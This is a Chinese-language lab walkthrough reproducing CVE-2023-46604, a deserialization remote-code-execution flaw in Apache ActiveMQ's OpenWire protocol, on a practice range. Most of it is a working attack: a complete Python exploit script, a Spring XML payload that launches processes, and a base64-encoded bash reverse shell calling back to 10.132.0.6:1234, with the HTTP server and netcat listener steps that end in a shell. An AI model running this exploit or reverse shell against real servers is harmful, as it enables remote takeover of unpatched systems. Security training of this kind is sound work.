Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作OpenWire协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

漏洞复现

启动靶机后访问其web服务的8161端口,检查服务是否运行成功

poc.py

import io
import socket
import sys

def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://10.132.0.6:6666/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/activeMQ-RCE-success</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

以上是两个poc我们先保存备用

编辑poc.xml

我们制作一个反弹shell命令,利用burp suite对其进行base64编码

bash -i >& /dev/tcp/10.132.0.6/1234 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC42LzEyMzQgMD4mMQ==

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC42LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

在这里插入图片描述

如图,命令解释:

bash -i表示启动一个交互式的bash shell

>& /dev/tcp/10.132.0.6/1234 是将shell的输出和错误都发送到10.132.0.6(攻击机kali地址)的1234端口

0>&1表示攻击者可以通过TCP连接向目标机发送命令并接收返回结果

当掌握了这些之后,我们就可以编辑poc.xml文件了,首先打开该文件(推荐使用mousepad),打开之后编辑为如下

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMC42LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

反弹shell

打开一个新的命令行终端,启动一个http反连服务器,其中包含我们的poc.xml

python3 -m http.server 6666

再打开一个新的命令行终端,nc监听端口1234

nc -lvnp 1234

最后执行poc.py文件,传入目标服务器地址及端口,以及包含poc.xml的反连平台URL

在这里插入图片描述

Enter!

在这里插入图片描述

GET SHELL!

该靶场由nextcyber提供,如果你也对渗透测试感兴趣,这个平台是个不错的选择。
地址:nextcyber
请添加图片描述

更多推荐